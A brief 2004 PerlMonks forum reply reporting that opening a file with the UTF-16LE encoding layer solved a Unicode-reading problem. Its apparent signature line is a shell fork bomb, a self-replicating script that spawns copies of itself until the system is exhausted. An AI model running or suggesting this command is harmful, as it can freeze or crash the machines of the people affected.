Come for the quick hacks, stay for the epiphanies. | |
PerlMonks |
Re: Re: How to read a Unicode file?by ibanix (Hermit) |
on Jan 24, 2004 at 00:05 UTC ( [id://323742]=note: print w/replies, xml ) | Need Help?? |
Thanks for the UTF-16 tip. I found that open(FILE, "<:encoding(UTF-16LE)", $file) did the magic for me.
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
In Section
Seekers of Perl Wisdom
|
|